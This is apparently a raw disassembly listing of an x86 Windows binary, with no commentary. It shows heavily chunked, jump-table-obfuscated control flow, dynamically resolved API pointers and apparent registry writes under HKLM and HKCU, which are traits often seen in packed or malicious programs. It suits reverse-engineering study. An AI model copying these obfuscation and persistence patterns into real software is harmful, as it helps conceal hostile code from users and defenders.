loc_9B028C:				; CODE XREF: sub_9ABA3C+96B8j
					; DATA XREF: .text:off_9BADF4o
		mov	dword ptr [ebp-124h], 1


loc_9B0296:				; CODE XREF: sub_9ABA3C+96B2j
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		lea	ecx, [ebp-120h]
		push	ecx
		call	dword ptr [eax+44h]
		jmp	loc_9AB51F
; END OF FUNCTION CHUNK	FOR sub_9ABA3C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3FF8


loc_9B02B0:				; CODE XREF: sub_9B3FF8+128Cj
		sub	edi, edi
		mov	di, [esi+8]
		test	edi, 8000h
		jz	loc_9B2884
		jmp	off_9B94F4
; END OF FUNCTION CHUNK	FOR sub_9B3FF8
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AFB1C


loc_9B02CB:				; CODE XREF: sub_9AFB1C+1DC0j
					; sub_9AFB1C+40A6j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AFB1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9B02E4:				; CODE XREF: sub_9B3EFC-5BC0j
					; DATA XREF: .text:off_9BAF57o
		mov	ecx, eax
		and	ecx, 0FFFFh
		cmp	ecx, 0FEA9h
		jz	loc_9AD6E0
		jmp	off_9BA4D9
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B0304:				; CODE XREF: sub_9B63D8-8D9Bj
		add	ebx, eax
		mov	[ebp-2128h], ebx
		push	dword ptr [ebp-2124h]
		pop	ecx
		cmp	ecx, 0FFFFFFFFh
		jnz	loc_9B1E18
		jmp	loc_9AE2F0
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B0324:				; CODE XREF: sub_9ACEE8-180Cj
					; DATA XREF: .text:off_9BAB01o
		xor	ebx, ebx
		mov	[ebp-0B4h], ebx
		call	sub_9B227C
		sub	ecx, ecx
		mov	[ebp-0B8h], eax
		sub	edx, edx
		call	sub_9AC6DC
		jmp	loc_9ACF55
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B2118


loc_9B034B:				; CODE XREF: sub_9B2118-26D9j
					; sub_9B2118-1B32j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_1C]
		pop	eax
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B2118
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B036C:				; CODE XREF: sub_9B63D8-8491j
					; DATA XREF: .text:off_9BA8E0o
		cmp	word ptr [esi+0Ah], 4
		jnz	loc_9AF944
		jmp	loc_9B1218
; END OF FUNCTION CHUNK	FOR sub_9B63D8

; =============== S U B	R O U T	I N E =======================================



sub_9B037C	proc near		; CODE XREF: sub_9B2E04-3D63j

; FUNCTION CHUNK AT 009AB9A8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009ABFEC SIZE 00000044 BYTES
; FUNCTION CHUNK AT 009ACCFC SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009AD10C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B2B08 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B5724 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B5E74 SIZE 00000035 BYTES

		push	ebx
		mov	edx, [ebp-4050h]
		lea	esi, [ebp-402Ch]
		xor	eax, eax
		call	sub_9B1334
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+10h]
		push	10h
		mov	eax, esi
		push	eax
		push	edi
		call	dword ptr [edx+18h]
		or	eax, eax
		jnz	loc_9B572A
		jmp	off_9BA93C
sub_9B037C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2160


loc_9B03B4:				; CODE XREF: sub_9B2160-AFAj
		push	dword ptr [esi+48h]
		pop	eax
		and	eax, eax
		jnz	loc_9B2440
		jmp	off_9BAFA3
; END OF FUNCTION CHUNK	FOR sub_9B2160
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3A74


loc_9B03C8:				; CODE XREF: sub_9B3A74+27E8j
		mov	edx, dword_9BCB74
		push	dword ptr [edx+0Ch]
		pop	ecx
		push	eax
		call	dword ptr [ecx+14h]


loc_9B03D6:				; CODE XREF: sub_9B3A74+27E2j
		lea	ecx, [ebp-130h]
		call	sub_9B5480
		jmp	loc_9AD33B
; END OF FUNCTION CHUNK	FOR sub_9B3A74
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9B03E8	proc near		; CODE XREF: sub_9B1584-276Ap

var_A		= byte ptr -0Ah

; FUNCTION CHUNK AT 009ABFC0 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009AC3F4 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 009AE4CE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009AF0D4 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009AF4C4 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009AF9B8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 009AFF2C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B21EC SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B2AD4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B2B4C SIZE 00000098 BYTES
; FUNCTION CHUNK AT 009B394C SIZE 00000038 BYTES
; FUNCTION CHUNK AT 009B42D0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 009B5690 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 009B61FC SIZE 00000046 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BAB94
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 14Ch
		push	dword_9B8788
		pop	eax
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+84h]
		test	eax, eax
		jns	loc_9B61FC
		jmp	loc_9AF9B8
sub_9B03E8	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFF64


loc_9B0444:				; CODE XREF: sub_9AFF64+1332j
		call	sub_9AE860
		add	esp, 0Ch
		push	eax
		lea	edx, [ebp+var_120]
		push	edx
		push	80000002h
		call	sub_9AD97C
		lea	eax, [ebp+var_224]
		push	eax
		push	8
		mov	ecx, dword_9BBD28
		push	ecx
		call	sub_9AE860
		add	esp, 0Ch
		push	eax
		lea	edx, [ebp+var_120]
		push	edx
		push	80000001h
		call	sub_9AD97C
		mov	[ebp+var_228], 1
		jmp	loc_9B5807
; END OF FUNCTION CHUNK	FOR sub_9AFF64
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEAAC


loc_9B0498:				; CODE XREF: sub_9AEAAC+2CEj
					; DATA XREF: .text:off_9B8FE5o
		test	cl, 4
		jnz	loc_9B42FE
		jmp	off_9B9EE9
; END OF FUNCTION CHUNK	FOR sub_9AEAAC
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B04A8	proc near		; CODE XREF: sub_9AB7C0+64j

; FUNCTION CHUNK AT 009ABF94 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009AC7A8 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 009ACA28 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009ACFFC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009AD224 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009AD524 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009ADA08 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AE460 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B01B8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B0EA4 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009B18E8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B1CDC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B1E80 SIZE 00000059 BYTES
; FUNCTION CHUNK AT 009B2630 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B27C0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B4330 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009B434C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B4530 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B5188 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B5D70 SIZE 0000000B BYTES

		push	ebx
		call	sub_9AFCA0
		add	esp, 4
		test	eax, eax
		jz	loc_9AFD43
		jmp	off_9B942D
sub_9B04A8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B43F4


loc_9B04C0:				; CODE XREF: sub_9B43F4+4Aj
					; DATA XREF: .text:off_9BACDCo
		push	dword ptr [ebp+8]
		pop	ecx
		push	esi
		pop	edx
		call	sub_9B3FF8
		mov	[ebp-20h], eax
		test	eax, eax
		jz	loc_9ACEAF
		jmp	off_9BA080
; END OF FUNCTION CHUNK	FOR sub_9B43F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B04DC:				; CODE XREF: sub_9B1D80+3120j
		js	loc_9B3ECB
		jmp	loc_9B3C2C
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B04E8:				; CODE XREF: sub_9AB1A0-3C9j
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	edi
		mov	eax, edi
		mov	ecx, dword_9BEC30[esi]
		push	ecx
		call	dword ptr [eax+34h]
		push	dword_9BEC2C[esi]
		pop	edx
		push	eax
		pop	ebx
		push	edx
		call	dword ptr [edi+34h]
		and	ebx, eax
		add	ebx, [ebp-20h]
		push	ebx
		call	dword ptr [edi+30h]
		mov	edi, eax
		mov	[ebp-1Ch], edi
		push	dword_9BEC2C[esi]
		pop	eax
		cmp	edi, eax
		jz	loc_9B290C
		jmp	loc_9ADCB0
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B0534:				; CODE XREF: sub_9AB1A0-189j
		cmp	edi, 2
		jb	loc_9AFE6F
		jmp	off_9BA63B
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0544:				; CODE XREF: sub_9B0930+5796j
					; DATA XREF: .text:off_9B969Fo
		push	off_9B907A
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+74h], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	eax
		mov	ecx, [eax+74h]
		jmp	loc_9B531C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B2118


loc_9B0570:				; CODE XREF: sub_9B2118+9D9j
		mov	dword_9BEC14, esi
		mov	dword_9BEC18, esi
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	off_9BAF9B
		call	dword ptr [ecx+68h]
		sub	eax, eax
		push	off_9B9FDF
		pop	edi
		push	93h
		pop	ecx
		rep stosd
		call	sub_9B6388
		call	sub_9B57B4
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	off_9BAD92
		call	dword ptr [eax+68h]
		call	sub_9B022C
		mov	dword_9BEBF8, esi
		mov	dword_9BEBF4, esi
		call	sub_9B3C6C
		push	[ebp+arg_0]
		pop	ecx
		push	ecx
		call	sub_9AD2B8
		mov	dword_9BF11C, esi
		mov	[ebp+var_1C], 1
		jmp	loc_9B034B
; END OF FUNCTION CHUNK	FOR sub_9B2118
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4724


loc_9B05EC:				; CODE XREF: sub_9B4724+55j
		pop	edi
		pop	ebx
; END OF FUNCTION CHUNK	FOR sub_9B4724
; START	OF FUNCTION CHUNK FOR sub_9AB95C


loc_9B05EE:				; CODE XREF: sub_9AB95C+Bj
		pop	esi
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AB95C
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B6370


loc_9B05F8:				; CODE XREF: sub_9B6370-4B4Aj
					; DATA XREF: .text:off_9BACB6o
		pop	edi
		pop	esi


loc_9B05FA:				; CODE XREF: sub_9B6370+Ej
		pop	ebx
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_9B6370
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, dword_9BCB74
		mov	ecx, [eax+14h]
		push	off_9B98C1
		call	dword ptr [ecx+0Ch]
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		add	esp, 4
		call	dword ptr [eax+30h]
		mov	dword_9BCB94, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_9B0628:				; CODE XREF: .text:009B0C81j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0630:				; CODE XREF: sub_9B0930+1AB6j
		push	off_9B9203
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx]
		mov	[ecx+30h], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		push	dword ptr [eax+30h]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BA8C4
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2010


loc_9B0664:				; CODE XREF: sub_9B2010+3Ej
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]
		sub	eax, dword_9BEBF8
		cmp	eax, 2710h
		jbe	loc_9AE704
		jmp	loc_9AE6CC
; END OF FUNCTION CHUNK	FOR sub_9B2010
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB040


loc_9B0688:				; CODE XREF: sub_9AB040+5D62j
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BAD92
		mov	edi, 1
		call	dword ptr [ecx+1Ch]
		push	edi
		pop	eax
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_9AB040
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B06A4:				; CODE XREF: sub_9B1A08-4835j
					; DATA XREF: .text:off_9BA5FCo
		push	esi
		lea	edx, [ebp+var_41F0]
		push	edx
		push	64h
		lea	eax, [ebp+var_43B4]
		push	eax
		mov	ecx, 11h
		call	sub_9AB1A0


loc_9B06BF:				; CODE XREF: sub_9B1A08-483Bj
		push	[ebp+var_41F0]
		pop	esi
		or	esi, esi
		jbe	loc_9B16BE
		jmp	off_9BA4C5
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ABA3C


loc_9B06D4:				; CODE XREF: sub_9ABA3C+28D0j
					; DATA XREF: .text:off_9BA716o
		sub	eax, edx
		cmp	byte ptr [esi+eax-1], 5Ch
		jnz	loc_9B5D02
		jmp	off_9B93AF
; END OF FUNCTION CHUNK	FOR sub_9ABA3C
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AF654


loc_9B06EB:				; CODE XREF: sub_9AF654-AE1j
					; sub_9AF654+38j ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-1Ch]
		pop	eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AF654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9B0708:				; CODE XREF: sub_9AC32C+1Ej
		mov	[esp+324h+var_308], ecx
		mov	[esp+324h+var_30C], edx


loc_9B0710:				; CODE XREF: sub_9AC32C+18j
		push	eax
		pop	ebp
		and	ebp, 10h
		jz	loc_9ABACA
		jmp	loc_9ABABC
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B0720:				; CODE XREF: sub_9AB1A0+62A8j
		not	esi
		or	esi, eax
		cmp	edi, esi
		jz	loc_9B290C
		jmp	loc_9AAE28
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B0734	proc near		; CODE XREF: sub_9B04A8-3CE1p
					; sub_9B1A08-32Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 009AB28C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009ACD64 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B2674 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B41F0 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 009B4D48 SIZE 0000000C BYTES

		push	ecx
		push	esi
		push	eax
		push	edi
		push	ecx
		pop	esi
		mov	eax, 8
		mov	dword ptr [ebx], 0
		call	sub_9AC32C
		test	al, 3
		jnz	loc_9B4D4F
		jmp	off_9B9703
sub_9B0734	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF654


loc_9B075C:				; CODE XREF: sub_9AF654+3Ej
		mov	esi, ecx
		shr	ecx, 2
		mov	edi, [edx+44h]
		rep stosd
		push	esi
		pop	ecx
		and	ecx, 3
		rep stosb
		mov	ecx, [edx]
		sub	ecx, 240h
		mov	esi, [edx+48h]
		push	dword ptr [edx+44h]
		pop	edi
		push	ecx
		pop	eax
		add	esi, 40h
		shr	ecx, 2
		rep movsd
		push	eax
		pop	ecx
		and	ecx, 3
		rep movsb
		xor	eax, eax
		mov	ecx, [edx]
		push	dword ptr [edx+48h]
		pop	edi
		push	ecx
		pop	esi
		shr	ecx, 2
		rep stosd
		push	esi
		pop	ecx
		jmp	off_9B887A
; END OF FUNCTION CHUNK	FOR sub_9AF654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9B07A4:				; CODE XREF: sub_9ABD30+42D5j
					; DATA XREF: .text:off_9BA5F8o
		mov	ecx, 4
		jz	loc_9B11CE
		jmp	loc_9AD5B4
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AEE5C


loc_9B07B8:				; CODE XREF: sub_9AEE5C-E5Bj
					; DATA XREF: .text:off_9B87B0o
		cmp	dword ptr [ecx], 40h
		jb	loc_9B5A71
		jmp	off_9B8FC8
; END OF FUNCTION CHUNK	FOR sub_9AEE5C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B562C


loc_9B07C8:				; CODE XREF: sub_9B562C-4B20j
					; DATA XREF: .text:off_9BA469o
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+18h]
		pop	eax
		lea	ecx, [ebp+var_134]
		push	ecx
		lea	edx, [ebp+var_124]
		push	edx
		call	dword ptr [eax+4]
		push	eax
		pop	edi
		mov	[ebp+var_13C], edi
		cmp	edi, ebx
		jz	loc_9AECDF
		jmp	loc_9AD498
; END OF FUNCTION CHUNK	FOR sub_9B562C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9B07FC:				; CODE XREF: sub_9B3408-4DBDj
					; DATA XREF: .text:off_9BA6FFo
		push	dword ptr [ebp-128h]
		pop	ecx
		cmp	ecx, 340h
		jb	loc_9AB749
		jmp	off_9BA859
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 4
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BAF9B
		call	dword ptr [ecx+68h]
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B082C	proc near		; CODE XREF: sub_9B27D8-5110j
					; DATA XREF: .text:off_9B9868o

; FUNCTION CHUNK AT 009AB318 SIZE 00000013 BYTES

		push	ebx
		pop	edi
		dec	edi


loc_9B082F:				; CODE XREF: sub_9B082C+9j
		mov	al, [edi+1]
		inc	edi
		and	al, al
		jnz	short loc_9B082F
		jmp	loc_9AB318
sub_9B082C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	eax, eax
		mov	dword_9BEC14, eax
		mov	dword_9BEC18, eax
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B31A8


loc_9B084C:				; CODE XREF: sub_9B31A8-1EA1j
					; DATA XREF: .text:off_9B8DEBo
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	dword ptr [esi]
		pop	ecx
		mov	edx, [ecx+4]
		push	edx
		call	dword ptr [eax+24h]
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	dword ptr [esi]
		pop	edx
		push	dword ptr [edx+8]
		pop	eax
		push	eax
		call	dword ptr [ecx+24h]
		push	dword ptr [esi]
		pop	eax
		call	sub_9AC448
		mov	[ebp+var_1C], 1
		mov	[esi], edi
		jmp	loc_9B1CBF
; END OF FUNCTION CHUNK	FOR sub_9B31A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFC28


loc_9B0888:				; CODE XREF: sub_9AFC28-4484j
					; DATA XREF: .text:off_9BAAA1o
		mov	ecx, [ebx+4]
		sub	eax, eax
		push	ecx
		pop	edx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	ecx, esi
		push	[ebp+arg_4]
		pop	esi
		mov	eax, ecx
		shr	ecx, 2
		push	dword ptr [ebx]
		pop	edi
		rep movsd
		push	eax
		pop	ecx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	dword ptr [edx]
		pop	eax
		mov	[ebx+8], eax
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	dword ptr [edx+8]
		pop	eax
		mov	[ebx+0Ch], eax
		mov	ecx, [ebp+arg_8]
		mov	[ebx+10h], ecx
		push	[ebp+arg_C]
		pop	edx
		mov	[ebx+14h], edx
		push	[ebp+arg_10]
		pop	eax
		mov	[ebx+18h], eax
		mov	ecx, [ebp+arg_14]
		mov	[ebx+1Ch], ecx
		push	[ebp+arg_0]
		pop	eax
		or	eax, eax
		jz	sub_9B0CC8
		jmp	loc_9AF19C
; END OF FUNCTION CHUNK	FOR sub_9AFC28
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B08FC:				; CODE XREF: sub_9B0930+277Aj
		push	off_9B91D4
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+18h]
		mov	[edx+8], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax+18h]
		mov	ecx, [eax+8]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B9F0B
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B0930	proc near		; CODE XREF: sub_9B2118+32p

; FUNCTION CHUNK AT 009AAE14 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AB0D8 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009AB1F8 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 009AB230 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009AB374 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009AB5D8 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009AB974 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009ABB88 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009ABCB8 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009ABF58 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 009AC04C SIZE 00000064 BYTES
; FUNCTION CHUNK AT 009AC0EC SIZE 00000037 BYTES
; FUNCTION CHUNK AT 009AC4B0 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009AC588 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009AC814 SIZE 00000092 BYTES
; FUNCTION CHUNK AT 009AC960 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009ACBE4 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009AD0A4 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009AD254 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AD55C SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009AD968 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AD9E4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009ADC44 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009ADEAC SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009AE0FC SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009AE150 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009AE254 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AE35C SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009AE390 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009AE490 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009AE508 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 009AE574 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009AE5A0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AE8E4 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009AEE6C SIZE 00000055 BYTES
; FUNCTION CHUNK AT 009AEFC0 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 009AF2CC SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009AF44C SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009AF6D0 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009AF818 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009AFC00 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 009AFE8C SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009B000C SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009B0544 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009B0630 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B08FC SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B0984 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B0A64 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B0B64 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B0C0C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B0CE8 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009B0E28 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009B0EE4 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009B1408 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009B1714 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 009B188C SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B1B0C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B1BC0 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 009B1C5C SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B1CE8 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009B1EF0 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009B1F30 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009B2054 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B2068 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009B2368 SIZE 0000002F BYTES
